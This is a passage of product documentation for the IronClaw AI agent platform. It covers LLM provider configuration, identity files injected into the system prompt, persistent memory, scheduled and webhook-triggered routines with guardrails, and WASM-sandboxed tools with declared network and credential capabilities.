supports multiple LLM providers IronClaw ships with a catalog of more than twenty inference providers, including NEAR AI, Anthropic, OpenAI, Google Gemini, GitHub Copilot, Ollama, AWS Bedrock, and any OpenAI-compatible endpoint. ## Configuring a Provider List what your install knows about, then pick one: ```bash theme={null} ironclaw models list ironclaw models set-provider anthropic --model claude-sonnet-4-20250514 ironclaw models status ``` You can also choose a provider during [onboarding](/onboard), or from **Settings → Inference** in the [web interface](/using/webui). Whichever route you take, the selection is written to `config.toml` as a model slot: ```toml theme={null} [llm.default] provider_id = "anthropic" model = "claude-sonnet-4-20250514" api_key_env = "ANTHROPIC_API_KEY" ``` `api_key_env` names the environment variable holding your key. Never paste the key itself — that is rejected at parse time. See [Configuration](/capabilities/configuration). If no slot is configured, IronClaw falls back to whichever provider environment variables are set. *** ## Choosing Your Model When an administrator has configured a model allowlist, every user can choose their own model under **Settings → Inference**. The preference applies to that user's future messages in every conversation; it does not change the provider or another user's preference. Administrators configure the allowlist from **Settings → Inference → User model access**. Add model IDs manually or fetch the active provider's model catalog, select the models users may choose, set the workspace default, and save. Provider configuration alone does not publish models to users; this explicit step keeps newly available provider models outside the tenant allowlist until an administrator approves them. The same preference is available from chat commands: ```text theme={null} /model /model use /model default ``` `/model` shows the current preference, effective model, and allowed models. `/model default` returns to the workspace default. Only models from the active provider's administrator-approved allowlist can be selected. *** ## Provider Overview `provider_id` is the value used with `models set-provider` and in `[llm.default]`. | Provider | `provider_id` | Requires | Notes | | - | - | - | - | | NEAR AI | `nearai` | `NEARAI_API_KEY` | Default; multi-model access via NEAR account | | Anthropic | `anthropic` | `ANTHROPIC_API_KEY` | Claude models | | OpenAI | `openai` | `OPENAI_API_KEY` | GPT models | | OpenAI (Codex) | `openai_codex` | ChatGPT subscription | Plus, Pro, or Max plans | | Google Gemini | `gemini` | `GEMINI_API_KEY` | Native API; preserves thought signatures | | Google Gemini (OAuth) | `gemini_oauth` | OAuth (browser) | Official API via Gemini CLI sign-in | | GitHub Copilot | `github_copilot` | `GITHUB_COPILOT_TOKEN` | Copilot Chat API; token from IDE sign-in | | AWS Bedrock | `bedrock` | AWS credentials | IAM or SSO | | Ollama | `ollama` | No | Local inference | | Tinfoil | `tinfoil` | `TINFOIL_API_KEY` | Hardware-attested TEE private inference | | OpenRouter | `openrouter` | `OPENROUTER_API_KEY` | 200+ models; preserves reasoning across turns | | Groq | `groq` | `GROQ_API_KEY` | LPU inference | | DeepSeek | `deepseek` | `DEEPSEEK_API_KEY` | Preserves reasoning content | | Mistral | `mistral` | `MISTRAL_API_KEY` | Mistral models | | Together AI | `together` | `TOGETHER_API_KEY` | Together inference | | Fireworks AI | `fireworks` | `FIREWORKS_API_KEY` | Fireworks inference | | Cerebras | `cerebras` | `CEREBRAS_API_KEY` | Wafer-scale inference | | SambaNova | `sambanova` | `SAMBANOVA_API_KEY` | SambaNova Cloud | | NVIDIA | `nvidia` | `NVIDIA_API_KEY` | NIM API | | Venice | `venice` | `VENICE_API_KEY` | Privacy-focused inference | | Z.AI | `zai` | `ZAI_API_KEY` | GLM models | | MiniMax | `minimax` | `MINIMAX_API_KEY` | MiniMax-M2 models | | Cloudflare Workers AI | `cloudflare` | `CLOUDFLARE_API_KEY` | Workers AI | | io.net | `ionet` | `IONET_API_KEY` | Intelligence API | | Yandex AI Studio | `yandex` | `YANDEX_API_KEY` | YandexGPT models | | OpenAI-compatible | `openai_compatible` | `LLM_API_KEY` | vLLM, LiteLLM, LM Studio, any compatible host | Run `ironclaw models list` for the catalog on your install, including the default model for each provider and any entries you have added yourself through `providers.json`. *** ## NEAR AI ```env theme={null} NEARAI_MODEL=claude-3-5-sonnet-20241022 NEARAI_BASE_URL=https://private.near.ai ``` Popular models: `Qwen/Qwen3.5-122B-A10B`, `black-forest-labs/FLUX.2-klein-4B`, `zai-org/GLM-5-FP8` *** ## Anthropic (Claude) ```env theme={null} LLM_BACKEND=anthropic ANTHROPIC_API_KEY=sk-ant-... ``` Popular models: `claude-sonnet-4-20250514`, `claude-3-5-sonnet-20241022`, `claude-3-5-haiku-20241022` *** ## OpenAI (GPT) ```env theme={null} LLM_BACKEND=openai OPENAI_API_KEY=sk-... ``` Popular models: `gpt-4o`, `gpt-4o-mini`, `o3-mini` *** ## Google Gemini (OAuth) Uses Google OAuth with PKCE (S256) for authentication — no API key required. On first run, a browser opens for Google account login. Credentials (including refresh token) are saved to `~/.gemini/oauth_creds.json` with `0600` permissions. ```env theme={null} LLM_BACKEND=gemini_oauth GEMINI_MODEL=gemini-2.5-flash ``` ### Supported features | Feature | Status | Notes | | - | - | - | | Function calling | ✅ | `functionDeclarations` / `functionCall` / `functionResponse` | | `generationConfig` | ✅ | `temperature`, `maxOutputTokens` passed from request | | `thinkingConfig` | ✅ | `thinkingBudget`/`thinkingLevel` for thinking-capable models (does NOT set `includeThoughts`) | | `toolConfig` | ✅ | `functionCallingConfig.mode`: `AUTO`/`ANY`/`NONE` | | SSE streaming | ✅ | Cloud Code API with `streamGenerateContent?alt=sse` | | Token refresh | ✅ | Automatic via refresh token | ### Popular models | Model | ID | Notes | | - | - | - | | Gemini 3.1 Pro | `gemini-3.1-pro-preview` | Latest, strongest reasoning | | Gemini 3.1 Pro Custom Tools | `gemini-3.1-pro-preview-customtools` | Enhanced tool use | | Gemini 3 Pro | `gemini-3-pro-preview` | Preview | | Gemini 3 Flash | `gemini-3-flash-preview` | Fast preview with thinking | | Gemini 3.1 Flash Lite | `gemini-3.1-flash-lite-preview` | Preview, lightweight | | Gemini 2.5 Pro | `gemini-2.5-pro` | Stable, strong reasoning | | Gemini 2.5 Flash | `gemini-2.5-flash` | Fast, good quality | | Gemini 2.5 Flash Lite | `gemini-2.5-flash-lite` | Fastest, lightweight | ### Cloud Code API vs standard API Models containing `-preview` (with hyphen) or `gemini-3` in the name, as well as any `gemini-` model with major version >= 2, route through the Cloud Code API (`cloudcode-pa.googleapis.com`) which supports SSE streaming and project-scoped access. Other models use the standard Generative Language API (`generativelanguage.googleapis.com`). *** ## GitHub Copilot GitHub Copilot exposes chat endpoint at `https://api.githubcopilot.com`. IronClaw uses that endpoint directly through the built-in `github_copilot` provider. ```env theme={null} LLM_BACKEND=github_copilot GITHUB_COPILOT_TOKEN=gho_... GITHUB_COPILOT_MODEL=gpt-4o # Optional advanced headers if your setup needs them: # GITHUB_COPILOT_EXTRA_HEADERS=Copilot-Integration-Id:vscode-chat ``` `ironclaw onboard` can acquire this token for you using GitHub device login. If you already signed into Copilot through VS Code or a JetBrains IDE, you can also reuse the `oauth_token` stored in `~/.config/github-copilot/apps.json`. If you prefer, `LLM_BACKEND=github-copilot` also works as an alias. Popular models vary by subscription, but `gpt-4o` is a safe default. IronClaw keeps model entry manual for this provider because GitHub Copilot model listing may require extra integration headers on some clients. IronClaw automatically injects the standard VS Code identity headers (`User-Agent`, `Editor-Version`, `Editor-Plugin-Version`, `Copilot-Integration-Id`) and lets you override them with `GITHUB_COPILOT_EXTRA_HEADERS`. *** ## Ollama (local) Install Ollama from [ollama.com](https://ollama.com), pull a model, then: ```env theme={null} LLM_BACKEND=ollama OLLAMA_MODEL=llama3.2 # OLLAMA_BASE_URL=http://localhost:11434 # default ``` Pull a model first: `ollama pull llama3.2` *** ## MiniMax [MiniMax](https://platform.minimax.io) provides high-performance language models with 204,800 token context windows. ```env theme={null} LLM_BACKEND=minimax MINIMAX_API_KEY=... ``` Available models: `MiniMax-M2.7` (default), `MiniMax-M2.7-highspeed`, `MiniMax-M2.5`, `MiniMax-M2.5-highspeed` To use the China mainland endpoint, set: ```env theme={null} MINIMAX_BASE_URL=https://api.minimaxi.com/v1 ``` *** ## AWS Bedrock (requires `--features bedrock`) Uses the native AWS Converse API via `aws-sdk-bedrockruntime`. Supports standard AWS authentication methods: IAM credentials, SSO profiles, and instance roles. > **Build prerequisite:** The `aws-lc-sys` crate (transitive dependency via AWS SDK) > requires **CMake** to compile. Install it before building with `--features bedrock`: > > * macOS: `brew install cmake` > * Ubuntu/Debian: `sudo apt install cmake` > * Fedora: `sudo dnf install cmake` ### With AWS credentials (IAM, SSO, instance roles) ```env theme={null} LLM_BACKEND=bedrock BEDROCK_MODEL=anthropic.claude-opus-4-6-v1 BEDROCK_REGION=us-east-1 BEDROCK_CROSS_REGION=us # AWS_PROFILE=my-sso-profile # optional, for named profiles ``` The AWS SDK credential chain automatically resolves credentials from environment variables (`AWS_ACCESS_KEY_ID`, `AWS_SECRET_ACCESS_KEY`), shared credentials file (`~/.aws/credentials`), SSO profiles, and EC2/ECS instance roles. ### Cross-region inference Set `BEDROCK_CROSS_REGION` to route requests across AWS regions for capacity: | Prefix | Routing | | - | - | | `us` | US regions (us-east-1, us-east-2, us-west-2) | | `eu` | European regions | | `apac` | Asia-Pacific regions | | `global` | All commercial AWS regions | | *(unset)* | Single-region only | ### Popular Bedrock model IDs | Model | ID | | - | - | | Claude Opus 4.6 | `anthropic.claude-opus-4-6-v1` | | Claude Sonnet 4.5 | `anthropic.claude-sonnet-4-5-20250929-v1:0` | | Claude Haiku 4.5 | `anthropic.claude-haiku-4-5-20251001-v1:0` | | Amazon Nova Pro | `amazon.nova-pro-v1:0` | | Llama 4 Maverick | `meta.llama4-maverick-17b-instruct-v1:0` | *** ## OpenAI-Compatible Endpoints OpenRouter, Together AI, Fireworks and the rest now have their own `provider_id` entries — use those directly rather than the generic adapter. Reach for `openai_compatible` when your endpoint has no dedicated entry: vLLM, LiteLLM, LM Studio, or an internal gateway. It needs a `base_url`, because the generic adapter has no default host of its own: ```toml theme={null} [llm.default] provider_id = "openai_compatible" base_url = "http://localhost:8000/v1" model = "meta-llama/Llama-3.3-70B-Instruct" api_key_env = "LLM_API_KEY" ``` Omitting `base_url` leaves the slot pointing nowhere and model resolution fails. `base_url` also works on any other provider when you need to route it through a proxy or a regional endpoint. The sections below list model ids for popular hosts. Each is reachable through its own `provider_id`; set `model` to the id you want. Several examples on this page use the `LLM_BACKEND` / `LLM_MODEL` / `LLM_BASE_URL` / `LLM_API_KEY` environment variables instead of a TOML slot. Both work: the environment form is the fallback IronClaw uses when `[llm.default]` is not configured. Prefer the TOML slot for a permanent install, and the environment form for one-off runs and containers. ### OpenRouter [OpenRouter](https://openrouter.ai) routes to 300+ models from a single API key. ```toml theme={null} [llm.default] provider_id = "openrouter" model = "anthropic/claude-sonnet-4" api_key_env = "OPENROUTER_API_KEY" ``` Popular OpenRouter model IDs: | Model | ID | | - | - | | Claude Sonnet 4 | `anthropic/claude-sonnet-4` | | GPT-4o | `openai/gpt-4o` | | Llama 4 Maverick | `meta-llama/llama-4-maverick` | | Gemini 2.0 Flash | `google/gemini-2.0-flash-001` | | Mistral Small | `mistralai/mistral-small-3.1-24b-instruct` | Browse all models at [openrouter.ai/models](https://openrouter.ai/models). ### Together AI [Together AI](https://www.together.ai) provides fast inference for open-source models. ```bash theme={null} ironclaw models set-provider together --model meta-llama/Llama-3.3-70B-Instruct-Turbo export TOGETHER_API_KEY=... ``` Popular Together AI model IDs: | Model | ID | | - | - | | Llama 3.3 70B | `meta-llama/Llama-3.3-70B-Instruct-Turbo` | | DeepSeek R1 | `deepseek-ai/DeepSeek-R1` | | Qwen 2.5 72B | `Qwen/Qwen2.5-72B-Instruct-Turbo` | ### Fireworks AI [Fireworks AI](https://fireworks.ai) offers fast inference with compound AI system support. ```bash theme={null} ironclaw models set-provider fireworks --model accounts/fireworks/models/llama4-maverick-instruct-basic export FIREWORKS_API_KEY=fw_... ``` ### vLLM / LiteLLM (self-hosted) For self-hosted inference servers: ```env theme={null} LLM_BACKEND=openai_compatible LLM_BASE_URL=http://localhost:8000/v1 LLM_API_KEY=token-abc123 # set to any string if auth is not configured LLM_MODEL=meta-llama/Llama-3.1-8B-Instruct ``` LiteLLM proxy (forwards to any backend, including Bedrock, Vertex, Azure): ```env theme={null} LLM_BACKEND=openai_compatible LLM_BASE_URL=http://localhost:4000/v1 LLM_API_KEY=sk-... LLM_MODEL=gpt-4o # as configured in litellm config.yaml ``` ### LM Studio (local GUI) Start LM Studio's local server, then: ```env theme={null} LLM_BACKEND=openai_compatible LLM_BASE_URL=http://localhost:1234/v1 LLM_MODEL=llama-3.2-3b-instruct-q4_K_M # LLM_API_KEY is not required for LM Studio ``` # Identity Files Source: https://docs.ironclaw.com/capabilities/memory/identity Files injected into the LLM system prompt to give the agent persistent identity Identity files are special memory documents that are automatically injected into the LLM system prompt on every turn. They give the agent a consistent identity, behavioral instructions, and knowledge about you — persisting across sessions and restarts. ## The Four Identity Files *** ## Identity Files Four special files are automatically injected into the LLM system prompt on every turn: | File | Purpose | | - | - | | `AGENTS.md` | Behavioral rules and operating instructions for the agent | | `SOUL.md` | Values, personality, and principles the agent embodies | | `USER.md` | Information about you — your preferences, context, and working style | | `IDENTITY.md` | Combined role and identity definition | All four files live in the workspace root and can be either manually edited by you, or written by the agent using the `memory_write` tool. *** ## AGENTS.md Behavioral instructions. What the agent should and should not do, how it should handle specific situations, and any workflow rules you want enforced. ```markdown theme={null} # Agent Instructions ## Communication Style - Be concise. Lead with the answer, then explain if needed. - Use bullet points for lists, not prose paragraphs. - When uncertain, say so explicitly rather than guessing. ## Tool Use - Always search memory before answering questions about past work. - Write summaries to memory after completing significant tasks. - Do not execute shell commands without explaining what they do first. ## Security - Never log or store API keys or secrets. - Confirm before deleting files. - Do not access external URLs not directly related to the current task. ``` *** ## SOUL.md Values and personality. How the agent approaches problems, what it prioritizes, and what kind of assistant it aims to be. ```markdown theme={null} # Soul I am a careful, methodical assistant. I value: - **Accuracy over speed** — I take time to verify before acting. - **Transparency** — I explain my reasoning, especially when uncertain. - **Security-first** — I treat all external data as potentially adversarial. - **User autonomy** — I recommend, but the user decides. When I encounter ambiguity, I ask clarifying questions rather than assuming. When I make a mistake, I acknowledge it directly and correct it. ``` *** ## USER.md Information about you. The agent reads this file to understand your context, preferences, and working patterns without needing to ask repeatedly. ```markdown theme={null} # User Profile ## Context - Working on: IronClaw, a Rust-based secure AI assistant - Primary languages: Rust, Python, bash - Environment: Linux (Ubuntu 24.04), zsh, Neovim - Source tree: ~/projects/ironclaw ## Preferences - Prefer explicit error handling over unwrap/expect - Use conventional commits format - Write tests before marking tasks complete - Prefer compact code without excessive comments ## Working Style - Morning: architecture and planning - Afternoon: implementation - End of day: write summary to memory at daily/.md ``` *** ## IDENTITY.md A combined identity definition, often used to give the agent a specific role or persona for a particular workspace or project. ```markdown theme={null} # Identity I am IronClaw's embedded development assistant, running inside the ironclaw-src workspace. My role is to help with: - Rust development (cargo, clippy, testing) - Architecture decisions and design review - Security analysis and threat modeling - Documentation and specification writing I have full knowledge of the IronClaw codebase and its conventions as described in CLAUDE.md. I prioritize correctness, security, and maintainability in all recommendations. ``` *** ## How Injection Works At the start of every LLM call, the agent reads all four identity files from the workspace and prepends them to the system prompt: ``` [AGENTS.md content] [SOUL.md content] [USER.md content] [IDENTITY.md content] [Skill injections] [Conversation history] [Current message] ``` Files that do not exist are silently skipped — you do not need all four. Start with whichever is most useful for your workflow. # Persistent Memory Source: https://docs.ironclaw.com/capabilities/memory/memory Your agent's durable, searchable long-term memory system The LLM context window is temporary. Everything in it disappears when the conversation ends. The memory system is permanent: documents written to memory survive indefinitely and are retrievable via search from any session. This means the agent must be proactive about writing. Before answering a question about prior work, the agent should search memory. Before ending a task that produced useful information, the agent should write a summary. The agent is instructed to call `memory_search` before answering questions about past work, prior decisions, or previously stored information. If you feel the agent has forgotten something, try asking it to search memory explicitly. *** ## Workspace Structure The workspace uses a filesystem-like path hierarchy. Documents live at paths you define: | Example Path | Use Case | | - | - | | `context/vision.md` | Project goals and direction | | `context/architecture.md` | System design decisions | | `daily/2024-01-15.md` | Daily notes and logs | | `daily/standup.md` | Latest standup draft (overwritten daily) | | `projects/ironclaw/notes.md` | Project-specific notes | | `inbox/task-20240115.md` | Incoming tasks to process | | `processed/task-20240115.md` | Processed and archived tasks | | `ops/incidents/2024-01-15.md` | Incident records | | `AGENTS.md` | Agent behavior instructions | | `SOUL.md` | Agent values and personality | Paths are arbitrary strings. Use whatever structure makes sense for your workflow. The `memory_tree` tool shows all paths organized as a directory tree. *** ## Four Memory Tools | Tool | Description | | - | - | | `memory_search` | Hybrid FTS + vector search. Call this before answering questions about prior work. Returns ranked results. | | `memory_write` | Write a document to a path. Creates or overwrites. Supports structured content (markdown, JSON, plain text). | | `memory_read` | Read a specific document by exact path. | | `memory_tree` | List all paths in the workspace as a tree. Use for discovery and navigation. | *** ## Efficient Retrieval with Vector Search You can configure the memory to be persisted as a vector store, which allows for fast semantic search and retrieval during the initial onboarding. This is ideal for larger workspaces or when you want the agent to have quick access to a large amount of information. # Capabilities Overview Source: https://docs.ironclaw.com/capabilities/overview Discover what makes IronClaw unique IronClaw combines long-term memory, event-driven automation, parallel execution, and strict isolation controls so agents can run real workflows safely. Defense-in-depth controls for prompt safety, sandboxing, leak detection, and network boundaries. Durable, searchable memory with identity files that persist behavior and context across sessions. Scheduled, heartbeat, and reactive execution models for proactive and event-driven automation. Parallel job orchestration with state transitions, retries, and self-repair for stuck execution. Context-activated prompt extensions with scoring, gating, and trust-based tool attenuation. Wasm-based tool isolation with explicit capabilities, resource limits, and controlled I/O. # Cron Routines Source: https://docs.ironclaw.com/capabilities/routines/cron Schedule recurring tasks with cron expressions Cron routines fire on a repeating schedule using standard cron expressions. Use them for any task that should happen at a predictable time — daily reports, weekly cleanups, hourly checks. *** ## Creating a Cron Routine Describe the schedule and task to the agent. It will call `routine_create` on your behalf: ``` Create a routine that runs every weekday at 9am and summarizes what I worked on yesterday by reading my daily notes, then writes a standup draft to memory at daily/standup.md. ``` *** ## Execution Model When a cron routine fires: 1. The routine engine creates a new agent job with the action prompt 2. The job runs through the full agent loop — LLM reasoning, tool calls, safety layer 3. Output is written to memory or sent via a channel notification (if configured) 4. The run is recorded in routine history, accessible via `routine_history` Routine jobs run as standard jobs and count against `MAX_PARALLEL_JOBS`. If the limit is reached when a cron fires, the routine job queues as Pending. *** ## Configuration ```bash theme={null} # Enable routines ROUTINES_ENABLED=true # Cron tick interval (how often the engine checks for due jobs) ROUTINES_CRON_INTERVAL=60 # seconds # Max routines running simultaneously ROUTINES_MAX_CONCURRENT=3 ``` # Heartbeat System Source: https://docs.ironclaw.com/capabilities/routines/heartbeat Periodic checks and execution The heartbeat system gives IronClaw agency between conversations. Every 30 minutes (by default), it reads `HEARTBEAT.md` from the workspace and executes a checklist of proactive tasks — without you having to ask. You can setup how often the agent checks the heartbeat list *** ## What Heartbeat Does On each heartbeat tick: 1. Reads `HEARTBEAT.md` from the workspace root 2. Runs the checklist items as an agent job 3. If the job produces findings or output, sends a notification to the configured channel 4. Records the run in the `heartbeat_state` table If `HEARTBEAT.md` does not exist or is empty, the tick is a no-op. The heartbeat job runs through the full agent loop — LLM reasoning, tool calls, safety layer — with the same capabilities as a manually triggered job. *** ## HEARTBEAT.md Format Write `HEARTBEAT.md` as a checklist of tasks. The agent reads this as its instructions for each periodic run: ```markdown theme={null} # Heartbeat Checklist ## Daily Tasks - [ ] Check memory at daily/ for yesterday's notes. If missing, remind the user. - [ ] Search memory for any items tagged as "follow-up" or "urgent" and list them. - [ ] Read ops/stuck-jobs.md if it exists and summarize any unresolved incidents. ## Weekly Tasks (run only on Mondays) - [ ] Summarize the week's daily notes into a weekly summary at weekly/.md - [ ] Check for any routines that haven't run in the past 7 days and flag them. ## Always - [ ] If any of the above produce findings, write a summary to memory at heartbeat/latest.md - [ ] Only notify the user if there are actionable items — do not send empty pings. ``` The agent interprets the checklist and executes each item using available tools. Conditional items ("run only on Mondays") are evaluated by the LLM using the current date. *** ## Notification Behavior After each tick, if the job produces output that warrants user attention, the heartbeat system sends a notification to the configured channel. If nothing actionable was found, no notification is sent — heartbeat is designed to be quiet unless it has something useful to say. Findings are also written to memory at `heartbeat/latest.md` (if your HEARTBEAT.md instructs this), making them searchable in future sessions. *** ## Configuration ```bash theme={null} # Enable heartbeat (default: true) HEARTBEAT_ENABLED=true # Interval between ticks in seconds (default: 1800 = 30 minutes) HEARTBEAT_INTERVAL_SECS=1800 # Channel to send notifications to HEARTBEAT_NOTIFY_CHANNEL=tui # tui, web, telegram, webhook # User ID to notify HEARTBEAT_NOTIFY_USER=default ``` Set `HEARTBEAT_INTERVAL_SECS=3600` (1 hour) or higher if the heartbeat job is too frequent for your LLM API rate limits or budget. The heartbeat runs as a normal job and consumes tokens. *** ## Writing HEARTBEAT.md Ask the agent to create or update the heartbeat checklist: ``` Write HEARTBEAT.md with tasks to check my inbox/ folder every 30 minutes and summarize any new items. ``` Or edit the file manually: ``` memory_write path="HEARTBEAT.md" content=" # Heartbeat Checklist - [ ] List all memory documents in inbox/ — if any exist, summarize and move to processed/ - [ ] Check if daily/.md exists — if not, create a daily entry template - [ ] Only notify if inbox/ had items or daily notes were missing " ``` *** ## Example HEARTBEAT.md Files ### Minimal — Inbox Monitor ```markdown theme={null} # Heartbeat - [ ] Check inbox/ for new documents. Process and move to processed/. Notify only if items were found. ``` *** ### Developer Workflow ```markdown theme={null} # Heartbeat Checklist ## Checks - [ ] Read ops/incidents/ — summarize any open incidents older than 24 hours - [ ] Check for stuck jobs in the last hour - [ ] Look for daily/.md — create it with a timestamp if missing ## Output - [ ] Write findings to heartbeat/latest.md - [ ] Notify only if there are open incidents or stuck jobs ``` *** ### Personal Assistant ```markdown theme={null} # Heartbeat - [ ] Search memory for items tagged "reminder" or "todo" - [ ] Check if any items are due today based on their content - [ ] Summarize time-sensitive items and notify - [ ] Do not notify if nothing is due ``` *** ## Heartbeat vs Routines Heartbeat and cron routines serve similar purposes but differ in design: | Feature | Heartbeat | Cron Routine | | - | - | - | | Configuration | Single HEARTBEAT.md file | Per-routine configuration | | Schedule | Fixed global interval | Custom per-routine cron expression | | Scope | Single checklist job | Multiple independent jobs | | Complexity | Simple — edit one file | Flexible — manage multiple routines | Use heartbeat for a unified set of periodic checks. Use cron routines when you need different schedules for different tasks, or when tasks should run independently. *** ## Troubleshooting * Verify `HEARTBEAT_ENABLED=true` in your configuration * Check startup logs for `heartbeat` to confirm the system started * Confirm `HEARTBEAT_INTERVAL_SECS` is set to a reasonable value * Verify `HEARTBEAT.md` exists in the workspace root via `memory_read path="HEARTBEAT.md"` * Update HEARTBEAT.md to add a condition: "only notify if there are actionable items" * Increase `HEARTBEAT_INTERVAL_SECS` to reduce frequency * Make checklist items more specific so the agent doesn't over-report * Simplify HEARTBEAT.md — fewer checklist items mean fewer LLM calls * Increase `HEARTBEAT_INTERVAL_SECS` to reduce frequency * Add guardrails-style instructions to HEARTBEAT.md: "Use at most 5 tool calls per run" # Reactive Routines Source: https://docs.ironclaw.com/capabilities/routines/reactive Event-driven and webhook-triggered automation Reactive routines fire in response to events rather than a schedule. Agents use them to automate workflows that should happen when something occurs — a file is created, a webhook fires, or an internal agent event is raised. *** ## Trigger Types ### Event Triggers Internal agent events that reactive routines can listen for: | Event | When It Fires | | - | - | | `job.completed` | Any job finishes successfully | | `job.failed` | Any job reaches the Failed state | | `memory.write` | A memory document is created or updated | | `routine.run` | Another routine completes a run | | `heartbeat` | The heartbeat system fires | Event triggers can filter by additional criteria. For example, a routine can listen for `memory.write` on a specific path: ```json theme={null} { "trigger": { "type": "event", "event": "memory.write", "filter": { "path_prefix": "inbox/" } } } ``` ### Webhook Triggers Reactive routines can expose an HTTP endpoint that fires the routine when called: ```json theme={null} { "trigger": { "type": "webhook", "path": "/hooks/deploy-complete", "secret": "${DEPLOY_WEBHOOK_SECRET}" } } ``` The endpoint is available at: ``` POST https:///hooks/ Authorization: Bearer ``` Webhook trigger endpoints are not yet exposed in the web gateway UI. Create webhook routines via the `routine_create` tool or via direct chat until UI support is added. ### Example Webhook Request Trigger a deploy-complete routine from a CI/CD pipeline: ```bash theme={null} curl -X POST https://ironclaw.example.com/hooks/deploy-complete \ -H "Authorization: Bearer ${DEPLOY_WEBHOOK_SECRET}" \ -H "Content-Type: application/json" \ -d '{ "environment": "production", "version": "v1.4.2", "commit": "abc1234" }' ``` The request body is available to the action prompt as context. *** ## Guardrails Guardrails are constraints that limit what a reactive routine can do during a single run. They are especially important for reactive routines because the trigger is external — you cannot predict how frequently events will fire. ```json theme={null} { "guardrails": { "max_tokens": 8000, "max_tool_calls": 20, "allowed_tools": ["memory_write", "memory_read", "memory_search"], "timeout_secs": 120, "rate_limit": { "max_runs": 10, "window_secs": 3600 } } } ``` | Guardrail | Description | | - | - | | `max_tokens` | Stop the job if cumulative LLM token usage exceeds this value | | `max_tool_calls` | Stop after this many tool calls | | `allowed_tools` | Whitelist of tools the routine may use (empty = all tools allowed) | | `timeout_secs` | Hard kill the job after this many seconds | | `rate_limit.max_runs` | Maximum runs within the time window | | `rate_limit.window_secs` | Time window for rate limiting (seconds) | Always set `rate_limit` on webhook-triggered routines. Without it, a misconfigured external service flooding your endpoint will spawn unlimited jobs. *** ## Execution Context Reactive routine jobs receive the triggering event as part of their context. For webhook triggers, this includes the request body. For event triggers, this includes the event payload (job ID, memory path, etc.). The action prompt can reference this context directly: ``` action: "A job just completed: ${event.job_id}. Get the status and write a summary." ``` # WASM Tools Source: https://docs.ironclaw.com/capabilities/sandboxed-tools Sandboxed tool execution via WebAssembly (wasmtime) WASM tools run inside a WebAssembly sandbox powered by [wasmtime](https://wasmtime.dev/). They have access to IronClaw's host functions (logging, time, workspace), but all other capabilities — network, filesystem, credentials — must be explicitly declared in a `capabilities.json` file. This is IronClaw's recommended approach for custom integrations that need stronger isolation than a built-in Rust tool provides. *** ## How It Works ``` LLM selects tool ↓ IronClaw loads WASM module (from cache or disk) ↓ Tool executes inside wasmtime sandbox ↓ Network requests route through the network proxy ↓ Proxy validates domain against allowlist ↓ Proxy injects credentials from encrypted store ↓ Response returns to WASM module ↓ Tool output passes through Safety Layer ↓ LLM receives sanitized result ``` *** ## Sandbox Architecture ### Fuel Metering Every WASM instruction consumes "fuel." When a module runs out of fuel, it is terminated immediately. This prevents infinite loops and runaway computation. ```bash theme={null} # Configure fuel limit (default: 100,000,000 instructions) export WASM_FUEL_LIMIT=100000000 ``` ### Memory Limits WASM modules are allocated a fixed linear memory. Attempting to allocate beyond the limit traps and terminates the module. ```bash theme={null} # Configure memory limit (default: 16 MB) export WASM_MEMORY_LIMIT=16777216 ``` ### Rate Limiting Each WASM tool has a per-tool rate limiter to prevent a misbehaving or compromised tool from making excessive API calls. Rate limits are declared in `capabilities.json`: ```json theme={null} { "rate_limit": { "requests_per_minute": 60, "requests_per_day": 1000 } } ``` *** ## capabilities.json Every WASM tool must include a `capabilities.json` alongside its `.wasm` binary. This file is the single source of truth for what the tool is allowed to do. ```json theme={null} { "name": "my-tool", "version": "0.1.0", "description": "Fetches data from example.com API", "network": { "allowed_hosts": [ "api.example.com", "auth.example.com" ] }, "filesystem": { "read": ["/workspace/data/*"], "write": ["/workspace/output/*"] }, "credentials": [ { "name": "example_api_key", "inject_as": "Authorization", "format": "Bearer {value}" } ], "rate_limit": { "requests_per_minute": 30, "requests_per_day": 500 } } ``` ### Network allowlist The `network.allowed_hosts` list controls which domains the tool can reach. Requests to any domain not in this list are rejected by the network proxy before the TCP connection is established. HTTPS traffic uses the `CONNECT` tunnel method. The proxy validates the target hostname against the allowlist before establishing the tunnel. ### Filesystem access WASM tools cannot access the host filesystem by default. Paths declared under `filesystem.read` and `filesystem.write` are mounted into the WASM module's sandbox at the declared paths. ### Credential injection Credentials listed in `capabilities.json` are never passed into the WASM module's memory. Instead, when the module makes an outbound HTTP request, the proxy intercepts the request and injects the specified header before forwarding it. The WASM module never sees the raw credential value — it only makes an unauthenticated HTTP request, and the proxy adds the auth header transparently. *** ## Host Functions WASM modules can call the following host functions provided by IronClaw: | Function | Description | | - | - | | `log(level, message)` | Write to the IronClaw log at the given severity level | | `now_unix_secs()` | Return the current Unix timestamp | | `workspace_read(path)` | Read a document from the workspace | | `workspace_write(path, content)` | Write a document to the workspace | These are the only host capabilities available. A WASM tool cannot call arbitrary OS functions, fork processes, or access the network directly — all network access goes through the proxy. *** ## Tool Discovery Tools reach the agent as **extension packages**. Each package is a directory under the runtime's `/system/extensions//` root containing a `manifest.toml` that declares the tools it provides, alongside the compiled `.wasm` module. `ironclaw extension search` lists the packages the runtime can see. *** ## Installing WASM Tools ```bash theme={null} # Find an available package ironclaw extension search my-tool # List every package the install knows about ironclaw extension search # Install one by id ironclaw extension install my-tool ``` `extension install` takes an **extension id** from `extension search` — never a file path or a URL. Passing `./my-tool.wasm` or an `https://` URL fails. To add a package you built yourself, import the packaged archive from **Extensions** in the [web interface](/using/webui). That is the supported path for getting a new package into the runtime; once it's there, `extension search` lists it and you install it by id. *** ## Module Compilation and Caching WASM modules are compiled by wasmtime on first load and cached. Subsequent loads use the compiled artifact, so only the first invocation of a new tool incurs compilation overhead. The cache is stored at `~/.ironclaw/wasm-cache/`. *** ## Security Notes Review `capabilities.json` before installing any WASM tool from an untrusted source. The capability file determines exactly what the tool can access — network hosts, filesystem paths, and which credentials are injected. The proxy injects credentials into outgoing requests. There is no mechanism for a WASM module to read stored secrets directly. Even if a WASM module is compromised, it cannot access the secrets store. WASM modules cannot spawn child processes, execute shell commands, or load dynamic libraries. The WASI interface exposed to modules is minimal. A buggy or malicious WASM tool that enters an infinite loop will be terminated when it exhausts its fuel allocation. This prevents a single tool from blocking the agent indefinitely. # Skills Source: https://docs.ironclaw.com/capabilities/skills Prompt extensions that activate based on context Skills are markdown files that contain domain-specific instructions. When a skill activates, its markdown body is injected into the LLM context — giving the agent specialized knowledge and behavior without retraining. IronClaw can search and install skills from the IronHub registry, a community-driven repository of pre-built skills covering various domains and use cases. See [IronHub](/hub/overview) for the full catalog. *** ## What skills do A skill is a self-contained expertise module. It 